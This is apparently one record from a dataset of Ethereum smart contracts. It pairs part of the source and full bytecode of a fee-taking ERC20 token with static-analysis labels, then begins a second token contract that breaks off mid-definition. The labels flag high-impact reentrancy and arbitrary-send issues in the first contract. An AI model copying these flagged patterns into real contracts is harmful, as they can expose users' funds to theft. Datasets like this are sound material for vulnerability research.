(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc0565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612906565b610441565b6040516101789190612da5565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190612f42565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128b7565b610473565b6040516101e09190612da5565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612829565b61054c565b005b34801561021e57600080fd5b5061022761063c565b6040516102349190612fb7565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612983565b610645565b005b34801561027257600080fd5b5061027b6106f7565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612829565b610769565b6040516102b19190612f42565b60405180910390f35b3480156102c657600080fd5b506102cf6107ba565b005b3480156102dd57600080fd5b506102e661090d565b6040516102f39190612cd7565b60405180910390f35b34801561030857600080fd5b50610311610936565b60405161031e9190612dc0565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612906565b610973565b60405161035b9190612da5565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612942565b610991565b005b34801561039957600080fd5b506103a2610ae1565b005b3480156103b057600080fd5b506103b9610b5b565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d5565b6110bd565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061287b565b611209565b6040516104189190612f42565b60405180910390f35b606060405180606001604052806024815260200161365260249139905090565b600061045561044e611290565b8484611298565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b6000610480848484611463565b6105418461048c611290565b61053c8560405180606001604052806028815260200161367660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104f2611290565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1b9092919063ffffffff16565b611298565b600190509392505050565b610554611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d890612ea2565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61064d611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190612ea2565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610738611290565b73ffffffffffffffffffffffffffffffffffffffff161461075857600080fd5b600047905061076681611b7f565b50565b60006107b3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7a565b9050919050565b6107c2611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612ea2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f526f636b657450656e6775696e73000000000000000000000000000000000000815250905090565b6000610987610980611290565b8484611463565b6001905092915050565b610999611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1d90612ea2565b60405180910390fd5b60005b8151811015610add57600160066000848481518110610a71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad590613258565b915050610a29565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b22611290565b73ffffffffffffffffffffffffffffffffffffffff1614610b4257600080fd5b6000610b4d30610769565b9050610b5881611ce8565b50565b610b63611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be790612ea2565b60405180910390fd5b601160149054906101000a900460ff1615610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3790612f22565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cd330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611298565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1957600080fd5b505afa158015610d2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d519190612852565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610db357600080fd5b505afa158015610dc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610deb9190612852565b6040518363ffffffff1660e01b8152600401610e08929190612cf2565b602060405180830381600087803b158015610e2257600080fd5b505af1158015610e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5a9190612852565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ee330610769565b600080610eee61090d565b426040518863ffffffff1660e01b8152600401610f1096959493929190612d44565b6060604051808303818588803b158015610f2957600080fd5b505af1158015610f3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6291906129fe565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611067929190612d1b565b602060405180830381600087803b15801561108157600080fd5b505af1158015611095573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b991906129ac565b5050565b6110c5611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990612ea2565b60405180910390fd5b60008111611195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118c90612e62565b60405180910390fd5b6111c760646111b9836b033b2e3c9fd0803ce8000000611fe290919063ffffffff16565b61205d90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111fe9190612f42565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ff90612f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90612e22565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114569190612f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ca90612ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a90612de2565b60405180910390fd5b60008111611586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157d90612ec2565b60405180910390fd5b6005600a81905550600a600b8190555061159e61090d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc61090d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a5857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116b55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116be57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117695750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117bf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117d75750601160179054906101000a900460ff165b15611887576012548111156117eb57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061183657600080fd5b601e426118439190613078565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119325750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119885750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199e576005600a81905550600a600b819055505b60006119a930610769565b9050601160159054906101000a900460ff16158015611a165750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2e5750601160169054906101000a900460ff165b15611a5657611a3c81611ce8565b60004790506000811115611a5457611a5347611b7f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aff5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0957600090505b611b15848484846120a7565b50505050565b6000838311158290611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a9190612dc0565b60405180910390fd5b5060008385611b729190613159565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bcf60028461205d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bfa573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c4b60028461205d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c76573d6000803e3d6000fd5b5050565b6000600854821115611cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb890612e02565b60405180910390fd5b6000611ccb6120d4565b9050611ce0818461205d90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d46577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d745781602001602082028036833780820191505090505b5090503081600081518110611db2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e5457600080fd5b505afa158015611e68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8c9190612852565b81600181518110611ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f2d30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611298565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f91959493929190612f5d565b600060405180830381600087803b158015611fab57600080fd5b505af1158015611fbf573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611ff55760009050612057565b6000828461200391906130ff565b905082848261201291906130ce565b14612052576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204990612e82565b60405180910390fd5b809150505b92915050565b600061209f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ff565b905092915050565b806120b5576120b4612162565b5b6120c08484846121a5565b806120ce576120cd612370565b5b50505050565b60008060006120e1612384565b915091506120f8818361205d90919063ffffffff16565b9250505090565b60008083118290612146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213d9190612dc0565b60405180910390fd5b506000838561215591906130ce565b9050809150509392505050565b6000600a5414801561217657506000600b54145b15612180576121a3565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121b7876123ef565b95509550955095509550955061221586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122aa85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f6816124ff565b61230084836125bc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161235d9190612f42565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123c06b033b2e3c9fd0803ce800000060085461205d90919063ffffffff16565b8210156123e2576008546b033b2e3c9fd0803ce80000009350935050506123eb565b81819350935050505b9091565b600080600080600080600080600061240c8a600a54600b546125f6565b925092509250600061241c6120d4565b9050600080600061242f8e87878761268c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061249983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b1b565b905092915050565b60008082846124b09190613078565b9050838110156124f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ec90612e42565b60405180910390fd5b8091505092915050565b60006125096120d4565b905060006125208284611fe290919063ffffffff16565b905061257481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d18260085461245790919063ffffffff16565b6008819055506125ec816009546124a190919063ffffffff16565b6009819055505050565b6000806000806126226064612614888a611fe290919063ffffffff16565b61205d90919063ffffffff16565b9050600061264c606461263e888b611fe290919063ffffffff16565b61205d90919063ffffffff16565b9050600061267582612667858c61245790919063ffffffff16565b61245790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126a58589611fe290919063ffffffff16565b905060006126bc8689611fe290919063ffffffff16565b905060006126d38789611fe290919063ffffffff16565b905060006126fc826126ee858761245790919063ffffffff16565b61245790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061272861272384612ff7565b612fd2565b9050808382526020820190508285602086028201111561274757600080fd5b60005b85811015612777578161275d8882612781565b84526020840193506020830192505060018101905061274a565b5050509392505050565b6000813590506127908161360c565b92915050565b6000815190506127a58161360c565b92915050565b600082601f8301126127bc57600080fd5b81356127cc848260208601612715565b91505092915050565b6000813590506127e481613623565b92915050565b6000815190506127f981613623565b92915050565b60008135905061280e8161363a565b92915050565b6000815190506128238161363a565b92915050565b60006020828403121561283b57600080fd5b600061284984828501612781565b91505092915050565b60006020828403121561286457600080fd5b600061287284828501612796565b91505092915050565b6000806040838503121561288e57600080fd5b600061289c85828601612781565b92505060206128ad85828601612781565b9150509250929050565b6000806000606084860312156128cc57600080fd5b60006128da86828701612781565b93505060206128eb86828701612781565b92505060406128fc868287016127ff565b9150509250925092565b6000806040838503121561291957600080fd5b600061292785828601612781565b9250506020612938858286016127ff565b9150509250929050565b60006020828403121561295457600080fd5b600082013567ffffffffffffffff81111561296e57600080fd5b61297a848285016127ab565b91505092915050565b60006020828403121561299557600080fd5b60006129a3848285016127d5565b91505092915050565b6000602082840312156129be57600080fd5b60006129cc848285016127ea565b91505092915050565b6000602082840312156129e757600080fd5b60006129f5848285016127ff565b91505092915050565b600080600060608486031215612a1357600080fd5b6000612a2186828701612814565b9350506020612a3286828701612814565b9250506040612a4386828701612814565b9150509250925092565b6000612a598383612a65565b60208301905092915050565b612a6e8161318d565b82525050565b612a7d8161318d565b82525050565b6000612a8e82613033565b612a988185613056565b9350612aa383613023565b8060005b83811015612ad4578151612abb8882612a4d565b9750612ac683613049565b925050600181019050612aa7565b5085935050505092915050565b612aea8161319f565b82525050565b612af9816131e2565b82525050565b6000612b0a8261303e565b612b148185613067565b9350612b248185602086016131f4565b612b2d8161332e565b840191505092915050565b6000612b45602383613067565b9150612b508261333f565b604082019050919050565b6000612b68602a83613067565b9150612b738261338e565b604082019050919050565b6000612b8b602283613067565b9150612b96826133dd565b604082019050919050565b6000612bae601b83613067565b9150612bb98261342c565b602082019050919050565b6000612bd1601d83613067565b9150612bdc82613455565b602082019050919050565b6000612bf4602183613067565b9150612bff8261347e565b604082019050919050565b6000612c17602083613067565b9150612c22826134cd565b602082019050919050565b6000612c3a602983613067565b9150612c45826134f6565b604082019050919050565b6000612c5d602583613067565b9150612c6882613545565b604082019050919050565b6000612c80602483613067565b9150612c8b82613594565b604082019050919050565b6000612ca3601783613067565b9150612cae826135e3565b602082019050919050565b612cc2816131cb565b82525050565b612cd1816131d5565b82525050565b6000602082019050612cec6000830184612a74565b92915050565b6000604082019050612d076000830185612a74565b612d146020830184612a74565b9392505050565b6000604082019050612d306000830185612a74565b612d3d6020830184612cb9565b9392505050565b600060c082019050612d596000830189612a74565b612d666020830188612cb9565b612d736040830187612af0565b612d806060830186612af0565b612d8d6080830185612a74565b612d9a60a0830184612cb9565b979650505050505050565b6000602082019050612dba6000830184612ae1565b92915050565b60006020820190508181036000830152612dda8184612aff565b905092915050565b60006020820190508181036000830152612dfb81612b38565b9050919050565b60006020820190508181036000830152612e1b81612b5b565b9050919050565b60006020820190508181036000830152612e3b81612b7e565b9050919050565b60006020820190508181036000830152612e5b81612ba1565b9050919050565b60006020820190508181036000830152612e7b81612bc4565b9050919050565b60006020820190508181036000830152612e9b81612be7565b9050919050565b60006020820190508181036000830152612ebb81612c0a565b9050919050565b60006020820190508181036000830152612edb81612c2d565b9050919050565b60006020820190508181036000830152612efb81612c50565b9050919050565b60006020820190508181036000830152612f1b81612c73565b9050919050565b60006020820190508181036000830152612f3b81612c96565b9050919050565b6000602082019050612f576000830184612cb9565b92915050565b600060a082019050612f726000830188612cb9565b612f7f6020830187612af0565b8181036040830152612f918186612a83565b9050612fa06060830185612a74565b612fad6080830184612cb9565b9695505050505050565b6000602082019050612fcc6000830184612cc8565b92915050565b6000612fdc612fed565b9050612fe88282613227565b919050565b6000604051905090565b600067ffffffffffffffff821115613012576130116132ff565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613083826131cb565b915061308e836131cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130c3576130c26132a1565b5b828201905092915050565b60006130d9826131cb565b91506130e4836131cb565b9250826130f4576130f36132d0565b5b828204905092915050565b600061310a826131cb565b9150613115836131cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561314e5761314d6132a1565b5b828202905092915050565b6000613164826131cb565b915061316f836131cb565b925082821015613182576131816132a1565b5b828203905092915050565b6000613198826131ab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131ed826131cb565b9050919050565b60005b838110156132125780820151818401526020810190506131f7565b83811115613221576000848401525b50505050565b6132308261332e565b810181811067ffffffffffffffff8211171561324f5761324e6132ff565b5b80604052505050565b6000613263826131cb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613296576132956132a1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136158161318d565b811461362057600080fd5b50565b61362c8161319f565b811461363757600080fd5b50565b613643816131cb565b811461364e57600080fd5b5056fe526f636b657450656e6775696e73207c20742e6d652f526f636b657450656e6775696e7345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204fc5518f874b5c6bfd9526fb202562e516c148d180e71a4244061c9ce305cd2664736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,179 |
0x2bd6d9a13b2294dea7198174a592b7c25001c4fc
|
/**
*Submitted for verification at Etherscan.io on 2021-01-31
*/
/**
*Submitted for verification at Etherscan.io on 2021-01-28
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
